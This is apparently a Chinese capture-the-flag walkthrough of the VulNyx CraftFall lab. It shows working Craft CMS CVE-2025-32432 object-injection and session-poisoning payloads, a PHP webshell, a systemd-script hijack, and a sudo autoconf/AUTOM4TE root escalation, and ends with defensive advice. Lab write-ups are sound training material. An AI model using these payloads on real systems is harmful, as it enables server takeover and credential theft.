VulNyx CraftFall 通关记录|CVE-2025-32432 未授权 RCE 与 autoconf 提权
靶机链接:CraftFall
本文记录 VulNyx CraftFall 靶机的完整通关过程:通过 Craft CMS 对象注入与会话文件包含获得 www-data 命令执行权限,劫持 systemd 定时脚本切换至 zer0arc4,最终利用 sudo autoconf 与保留的 AUTOM4TE 环境变量提权至 root,获取两枚 Flag。
0x01 基本信息
| 名称 | IP / 标识 | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.109 | 攻击机 |
| CraftFall | 192.168.1.121(craft.nyx / Craftfall.lan) | Debian 13 靶机(Craft CMS 5.6.16 / PHP 8.4.24) |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp OpenSSH 10.0p2、80/tcp Apache 2.4.68,53/tcp 为 RustScan 误报 closed | 锁定 Web 入口 |
| Web 指纹 | X-Powered-By: Craft CMS、/admin/login 标题 Sign In - Craftfall、错误页堆栈全量泄露 | 确认 Craft CMS 5.x 与 devMode 开启 |
| 版本确认 | /var/www/craft/composer.lock 中 craftcms/cms 5.6.16 | 落入 CVE-2025-32432(5.x ≤ 5.6.16)影响范围 |
| 漏洞检测 | generate-transform 传入 FnStream._fn_close=phpcredits,响应 PHP 信息页 | 验证未授权函数调用能力 |
| 信息泄露 | 同上 gadget 改用 phpinfo,取得 session.save_path=/var/lib/php/sessions | 定位会话文件路径 |
| RCE | 原始 URL 向 __returnUrl 投毒 + yii\rbac\PhpManager itemFile 引入会话文件 | 获得 www-data 执行 |
| 立足点 | cpresources/ 属主 www-data 可写,写入 s.php | 稳定的命令执行通道 |
| 提权 zer0arc4 | zer0arc4-job.timer 每分钟以 zer0arc4 执行 0777 的 /usr/local/bin/zer0arc4-job.sh | 劫持脚本写入公钥获得 SSH |
| 提权 root | (root) NOPASSWD: /usr/bin/autoconf + env_keep+=AUTOM4TE | 篡改 AUTOM4TE 使 root 执行恶意脚本 |
0x02 侦察与信息收集
1. 端口扫描
rustscan -a 192.168.1.121 --range 1-65535 --ulimit 5000 \
-- -sV -sC -T4 -Pn -oN /tmp/opencode/rustscan_nmap.txt
Nmap 结果:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
53/tcp closed domain reset ttl 64
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.68
|_http-title: Did not follow redirect to http://craft.nyx/
|_http-server-header: Apache/2.4.68 (Debian)
MAC Address: 0C:DD:24:76:71:18 (Intel Corporate)
Service Info: Host: 192.168.1.82; OS: Linux; CPE: cpe:/o:linux:linux_kernel
开放端口汇总:
| 端口 | 服务 | 版本 / 指纹 | 说明 |
|---|---|---|---|
22/tcp | SSH | OpenSSH 10.0p2 Debian 7+deb13u4 | 远程登录服务 |
80/tcp | HTTP | Apache httpd 2.4.68 (Debian) | Craft CMS 站点,重定向 craft.nyx |
分析:
- 真实开放仅
22SSH 与80HTTP,53为 RustScan 误报,Nmap 复核 closed。 - 80 端口重定向至虚拟主机
http://craft.nyx/,需写入 hosts:
echo "192.168.1.121 craft.nyx craftfall.lan" | sudo tee -a /etc/hosts
0x03 Web 指纹与版本确认
1. 首页与后台指纹
curl -s -i -L http://craft.nyx/ | head -n 20
whatweb -a 3 http://craft.nyx/
HTTP/1.1 200 OK
Server: Apache/2.4.68 (Debian)
X-Robots-Tag: none
X-Powered-By: Craft CMS
Content-Type: text/html; charset=UTF-8
<title>Welcome to Craft CMS</title>
http://craft.nyx/ [200 OK] Apache[2.4.68], HTML5, Debian Linux,
Title[Welcome to Craft CMS], UncommonHeaders[x-robots-tag], X-Powered-By[Craft CMS]
/admin 未登录时 302 跳转登录页,页面标题暴露站点名:
curl -s -i http://craft.nyx/admin | head -n 15
curl -s http://craft.nyx/admin/login | grep -o "<title>.*</title>"
HTTP/1.1 302 Found
Location: http://craft.nyx/admin/login
<title>Sign In - Craftfall</title>
2. 报错页与 devMode
访问不存在路径会返回完整的 Yii 异常页,堆栈中泄露物理路径 /var/www/craft 与依赖版本:
curl -s http://craft.nyx/NOTFOUND -o err.html
grep -oE 'Yii Framework</a>/<a[^>]*>[0-9.]+' err.html | sed 's/<[^>]*>//g' | head -1
grep -oE 'yii\\web\\NotFoundHttpException[^<]{0,140}' err.html | head -1
Yii Framework/2.0.51
yii\web\NotFoundHttpException: Page not found. in /var/www/craft/vendor/craftcms/cms/src/web/Request.php:1409
3. 精确版本确认
/composer.lock、/.env 等敏感文件不可直接下载,但获得 RCE 后可读取:
grep -m1 -A2 '"name": "craftcms/cms"' /var/www/craft/composer.lock
"name": "craftcms/cms",
"version": "5.6.16",
Craft CMS 5.6.16 落在 5.x 分支受影响区间(>= 5.0.0-RC1, <= 5.6.16),该分支修复版本为 5.6.17,受未授权 RCE 漏洞 CVE-2025-32432 影响。
4. CVE 适用性分析
| CVE / 漏洞 | 影响版本 | 5.6.16 适用性 |
|---|---|---|
CVE-2025-32432 | 3.x ≤ 3.9.14、4.x ≤ 4.14.14、5.x ≤ 5.6.16(修复 3.9.15 / 4.14.15 / 5.6.17) | 适用,未授权 generate-transform 对象注入 → RCE,主利用链 |
CVE-2023-41892 | Craft CMS 4.0.0-RC1 ~ 4.4.14 | 不适用,目标为 5.x |
CVE-2024-56145 | Craft CMS < 5.5.8(需 register_argc_argv=On) | 不适用,版本已修复 |
0x04 CVE-2025-32432 漏洞检测(phpcredits 无害验证)
1. 漏洞原理
assets/generate-transform 动作存在两处缺陷的组合:
- 未强制校验登录与权限,未授权即可访问;
- 请求体中的
handle参数被传入Craft::createObject()构造对象,攻击者可控制class/__class/__construct()等配置键,造成 PHP 对象注入。
利用 gadget(无需登录):
GuzzleHttp\Psr7\FnStream的close()会调用_fn_close属性所指向的 callable;yii\rbac\PhpManager在初始化时会requireitemFile属性指定文件。
先取会话与 CSRF Token:
curl -s -c cj.txt http://craft.nyx/admin/login -o login.html
CSRF=$(grep -oP 'name="CRAFT_CSRF_TOKEN"\s+value="\K[^"]+' login.html)
2. 检测请求(执行 phpcredits)
curl -s -i -b cj.txt -X POST \
"http://craft.nyx/index.php?p=actions/assets/generate-transform" \
-H "Content-Type: application/json" -H "X-CSRF-Token: $CSRF" \
-d '{"assetId":42,"handle":{"width":200,"height":200,"as x":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpcredits"}}}'
响应出现 PHP 信息页,证实未授权函数调用成功:
HTTP/1.1 200 OK
<title>PHP 8.4.24 - phpinfo()</title>
<h1>PHP Credits</h1>
0x05 CVE-2025-32432 完整利用(会话投毒 → www-data)
1. 获取会话与 CSRF
curl -sL -c cookies.txt "http://craft.nyx/index.php?p=admin/dashboard" -o dash.html
CSRF=$(grep -oP '"csrfTokenValue":"\K[^"]+' dash.html)
SID=$(awk '$6=="CraftSessionId"{print $7}' cookies.txt)
echo "SID=$SID"
2. phpinfo gadget 泄露 session 路径
cat > p_phpinfo.json <<'JSON'
{"assetId":11,"handle":{"width":123,"height":123,"as s":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpinfo"}}}
JSON
curl -s -b cookies.txt -H "X-CSRF-Token: $CSRF" -H "Content-Type: application/json" \
--data @p_phpinfo.json \
"http://craft.nyx/index.php?p=admin/actions/assets/generate-transform" \
| grep -o 'session.save_path</td><td class="v">[^<]*'
session.save_path</td><td class="v">/var/lib/php/sessions
3. 会话投毒(关键:原始 URL 不编码)
Craft 会把请求 URL 原样写入 session 的 __returnUrl。因此投毒 URL 中的 PHP 代码必须以未编码形式出现在 HTTP 请求行中。curl 8.x 会以 URL rejected: Malformed input 拒绝含 <、>、" 的原始 URL,可用 --request-target 直接指定请求行:
curl -s -o /dev/null -b cookies.txt \
--request-target "/index.php?p=admin/dashboard&a=<?=system(\$_GET['cmd']);die()?>" \
'http://craft.nyx/'
使用 requests 等库时默认会对 a 参数做百分号编码(%3C%3F...),session 文件中保存的是编码后的文本,require 时不会执行。公开 PoC 通过 patch urllib3 在连接层 unquote URL 解决此问题。
4. PhpManager 触发 RCE
cat > p_rce.json <<'JSON'
{"assetId":11,"handle":{"width":1,"height":1,"as h":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_SESSIONID"}]}}}
JSON
sed -i "s/SESSIONID/$SID/" p_rce.json
curl -s -b cookies.txt -H "X-CSRF-Token: $CSRF" -H "Content-Type: application/json" \
--data @p_rce.json \
"http://craft.nyx/index.php?p=admin/actions/assets/generate-transform&cmd=id;hostname"
PhpManager::load() 引入会话文件,注入的 system() 执行成功:
0ab40f3d...__returnUrl|s:78:"http://craft.nyx/index.php?p=admin/dashboard&a=uid=33(www-data) gid=33(www-data) groups=33(www-data)
Craftfall
5. 公开 PoC 一键利用
git clone https://github.com/P34NUT2/CVE-2025-32432-exploit-by-P34NUT.git
cd CVE-2025-32432-exploit-by-P34NUT
python3 craftcms_rce_exploit_php.py -u http://craft.nyx -c "id"
[+++++++++] Vulnerable target
[+] Found session path: /var/lib/php/sessions
[*********************************] Server response
uid=33(www-data) gid=33(www-data) groups=33(www-data)
6. 配套脚本
配套脚本 rce.py —— 将上述检测与利用链封装为单文件脚本:自动完成会话获取、session.save_path 泄露、原始 URL 会话投毒与 PhpManager 触发,命令经十六进制编码传输,避免特殊字符破坏请求。
python3 rce.py -u http://craft.nyx --check
python3 rce.py -u http://craft.nyx -c "id; hostname; whoami"
[+] 目标存在 CVE-2025-32432, session.save_path=/var/lib/php/sessions
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Craftfall
www-data
0x06 稳定立足点:cpresources WebShell
1. 检查目录权限
Web 根目录中 cpresources/ 属主为 www-data 且可写(web/ 本身属主为 1001:1001,系统中无对应账号,当前用户不可写):
ls -la /var/www/craft/web/ /var/www/craft/web/cpresources/ | head -n 12
drwxrwxr-x 3 1001 1001 4096 Nov 18 2025 /var/www/craft/web/
drwxrwxr-x 30 www-data www-data 4096 Sep 19 15:07 /var/www/craft/web/cpresources/
2. 写入并验证 WebShell
经 RCE 写入 WebShell:
printf '%s' '<?php system($_GET["c"]); ?>' > /var/www/craft/web/cpresources/s.php
验证:
curl -s -G "http://craft.nyx/cpresources/s.php" --data-urlencode "c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
3. 读取应用配置与数据库凭据
读取应用配置与数据库账号(为横向做准备):
cat /var/www/craft/.env
CRAFT_SECURITY_KEY=dIKL60H7TRSJMxoCDXAe1BuugPTe8zN4
CRAFT_DEV_MODE=true
DB_SERVER="127.0.0.1"
DB_DATABASE="craftdb"
DB_USER="rudra"
DB_PASSWORD="CraftDB@2026!"
rudra 仅拥有 craftdb.* 权限(无 FILE/SUPER),无法借 MySQL 写文件;users 表中管理员 admin / [email protected] 的 bcrypt 哈希成本 $2y$13$,破解成本高且非必要,未纳入主链。
0x07 权限提升:www-data → zer0arc4(systemd 定时脚本劫持)
1. 枚举发现每分钟执行的自定义任务
systemctl list-timers
NEXT UNIT ACTIVATES
Mon 2026-09-21 23:40:35 EDT zer0arc4-job.timer zer0arc4-job.service
systemctl cat zer0arc4-job.timer
systemctl cat zer0arc4-job.service
# /etc/systemd/system/zer0arc4-job.timer
[Timer]
OnBootSec=1min
OnUnitActiveSec=1min
Unit=zer0arc4-job.service
# /etc/systemd/system/zer0arc4-job.service
[Service]
Type=oneshot
User=zer0arc4
ExecStart=/usr/local/bin/zer0arc4-job.sh
2. 脚本权限错误(0777)
ls -la /usr/local/bin/zer0arc4-job.sh
cat /usr/local/bin/zer0arc4-job.sh
-rwxrwxrwx 1 zer0arc4 zer0arc4 348 Sep 20 10:03 /usr/local/bin/zer0arc4-job.sh
脚本正文仅写日志,但作者备注直接点明了机器考察点:
#!/bin/bash
echo "zer0arc4 scheduled task executed: $(date)" >> /tmp/zer0arc4-job.log
# The actual vulnerability is in Craft CMS 5.6.16 itself.
# Make sure to escalate to root to fully complete the machine.
0777 全局可写 + 每分钟以 zer0arc4 身份执行 = 直接劫持。
3. 劫持脚本安装 SSH 公钥
在 Kali 本机生成脚本
读取本地公钥并生成劫持脚本(公钥内容不直接出现在文中):
PUB_KEY=$(cat ~/.ssh/id_ed25519.pub)
cat > hijack.sh <<EOF
#!/bin/bash
mkdir -p /home/zer0arc4/.ssh
echo "$PUB_KEY" > /home/zer0arc4/.ssh/authorized_keys
chmod 700 /home/zer0arc4/.ssh
chmod 600 /home/zer0arc4/.ssh/authorized_keys
EOF
通过 WebShell 覆盖定时脚本
在 Kali 本机发起请求,实际命令由靶机 www-data 执行。以 Base64 方式覆盖目标脚本(等待下一次 timer 触发):
B64=$(base64 -w0 hijack.sh)
curl -s -G "http://craft.nyx/cpresources/s.php" \
--data-urlencode "c=echo $B64 | base64 -d > /usr/local/bin/zer0arc4-job.sh"
chmod覆写依赖的是文件自身 0777 的写权限:> 截断并写入后,文件属主与权限位保持不变(仍是 zer0arc4:zer0arc4、0777),systemd 依然可以执行。而 chmod 要求属主身份或 CAP_FOWNER,www-data 对非本人属主的文件执行只会得到 Operation not permitted,这一步既多余也会报错。
/tmp 中的文件zer0arc4-job.service 并未启用 PrivateTmp(PrivateTmp=no),脚本写入的是宿主机真实 /tmp;而 Debian 的 apache2.service 自带 PrivateTmp=yes,WebShell 进程继承 Apache 的私有 /tmp 命名空间,因此看起来“什么都没有”。可在靶机上核对:
systemctl show zer0arc4-job.service -p PrivateTmp # PrivateTmp=no
systemctl show apache2.service -p PrivateTmp # PrivateTmp=yes
ls -la /tmp/zer0arc4-job.log # 服务真实写入的日志
ls -d /tmp/systemd-private-*-apache2.service-* # Apache 私有 /tmp 命名空间
因此公钥直接落到 /home/zer0arc4/.ssh/,不依赖 /tmp 中转。
4. SSH 登录并获取 User Flag
从 Kali 以一次性命令读取 User Flag:
ssh -i ~/.ssh/id_ed25519 [email protected] 'id; cat ~/user.txt'
uid=1000(zer0arc4) gid=1000(zer0arc4) groups=1000(zer0arc4),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),104(bluetooth)
f9020bb83315a9de45629cf310434d18
上述命令执行完即退出。继续提权前,登录交互式 Shell,下一节的命令均在靶机的 zer0arc4 会话中执行:
ssh -i ~/.ssh/id_ed25519 [email protected]
# 登录成功后提示符:zer0arc4@Craftfall:~$
0x08 权限提升:zer0arc4 → root(sudo autoconf + AUTOM4TE 劫持)
1. sudo 权限检查
在靶机的 zer0arc4 会话中执行:
sudo -l
Matching Defaults entries for zer0arc4 on Craftfall:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,
use_pty, env_keep+=AUTOM4TE
User zer0arc4 may run the following commands on Craftfall:
(root) NOPASSWD: /usr/bin/autoconf
两个致命配置的组合:
NOPASSWD允许zer0arc4以 root 运行/usr/bin/autoconf;env_keep+=AUTOM4TE将AUTOM4TE环境变量原样保留传递给 root 进程,而autoconf内部会调用$AUTOM4TE指向的 m4 包装程序(典型 GTFOBins 类提权)。
2. AUTOM4TE 指向恶意脚本提权
cat > /tmp/a4.sh <<'EOF'
#!/bin/sh
id > /tmp/root-proof.txt
cp /root/root.txt /tmp/root-flag.txt
chmod 666 /tmp/root-proof.txt /tmp/root-flag.txt
chmod u+s /bin/bash
EOF
chmod +x /tmp/a4.sh
cd /tmp && AUTOM4TE=/tmp/a4.sh sudo -n /usr/bin/autoconf -o /dev/null /dev/null
验证脚本已由 root 执行:
cat /tmp/root-proof.txt
uid=0(root) gid=0(root) groups=0(root)
同时 /bin/bash 被加上 SUID 位,可直接获得 euid=0 的 root shell:
ls -la /bin/bash
bash -p
id
-rwsr-xr-x 1 root root 1298416 Jul 12 12:58 /bin/bash
uid=1000(zer0arc4) gid=1000(zer0arc4) euid=0(root) groups=1000(zer0arc4),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),104(bluetooth)
3. 获取 Root Flag
在 root shell 中可直接读取(也可读取脚本复制到 /tmp 的副本):
cat /root/root.txt
ls -la /root/root.txt
b0c8813f766879ea210fdc8cd8c9c85c
-rw-r--r-- 1 root root 33 Sep 19 16:19 /root/root.txt
0x09 最终成果
User Flag
- 路径:
/home/zer0arc4/user.txt - 权限:
400(属主 zer0arc4) - 内容:
f9020bb83315a9de45629cf310434d18
Root Flag
- 路径:
/root/root.txt - 权限:
644 - 内容:
b0c8813f766879ea210fdc8cd8c9c85c
0x0A 漏洞汇总
| # | 漏洞名称 | 严重程度 | 漏洞位置 | 利用方式与核心机理 |
|---|---|---|---|---|
| 1 | Craft CMS 未授权 RCE(CVE-2025-32432) | Critical | actions/assets/generate-transform | handle 对象注入 → FnStream 调函数 / PhpManager 引入会话文件 |
| 2 | 对象注入导致敏感信息泄露 | High | 同上 | FnStream._fn_close=phpinfo 泄露 session.save_path、路径与配置 |
| 3 | PHP 会话文件污染 | High | __returnUrl 写入用户可控 URL | 原始 URL 注入 PHP 代码,配合文件包含执行 |
| 4 | systemd 定时任务脚本全局可写 | Critical | /usr/local/bin/zer0arc4-job.sh(0777) | 覆盖脚本,以 zer0arc4 身份写入 SSH 公钥 |
| 5 | sudo 过度授权与危险环境变量保留 | Critical | (root) NOPASSWD: /usr/bin/autoconf + env_keep+=AUTOM4TE | 篡改 AUTOM4TE 使 root 执行任意脚本 |
| 6 | 生产配置泄露(devMode/密钥落盘) | Medium | /var/www/craft/.env | 堆栈全量回显、DB 凭据与 Security Key 明文可读 |
0x0B 复盘总结与防御建议
- 及时升级 Craft CMS:
CVE-2025-32432影响 3.x / 4.x / 5.x 多个分支,官方已在3.9.15/4.14.15/5.6.17分别修复。对generate-transform等动作需同时收紧权限校验与对象构造入口,禁止用户可控的class/__class进入Craft::createObject()。 - 关闭生产
devMode: 本机错误页完整泄露依赖版本、路径与源码行号,直接降低了漏洞定位成本;生产环境应强制CRAFT_DEV_MODE=false。 - 会话内容不可信:
__returnUrl等会话字段会落盘到session.save_path,一旦存在文件包含类缺陷即可升级为 RCE。应对来源 URL 做白名单校验,并将会话存储与代码执行路径隔离。 - 服务脚本最小权限: systemd 服务引用的脚本必须
root独占且不可被低权用户改写;避免0777。同理,脚本及其父目录的属主应为 root。 - 收敛 sudo 授权: 撤销
env_keep+=AUTOM4TE(以及其他会被调用程序读取的敏感环境变量白名单),移除autoconf的NOPASSWD;如确需运行构建工具,应封装受限包装脚本。 - 配置文件与凭据保护:
.env中数据库口令与CRAFT_SECURITY_KEY应严格限制读取权限并在泄露后轮换;Web 目录(如cpresources/)禁止执行 PHP(Apachephp_flag engine off/ Nginx location 限制)。
0x0C 附件下载
| 附件文件 | 作用与功能说明 | 下载链接 |
|---|---|---|
rce.py | CVE-2025-32432 一键利用脚本:自动获取会话与 CSRF、泄露 session.save_path、原始 URL 会话投毒并经 PhpManager 触发命令执行;支持 --check 漏洞探测与 -c 执行命令 | 下载 |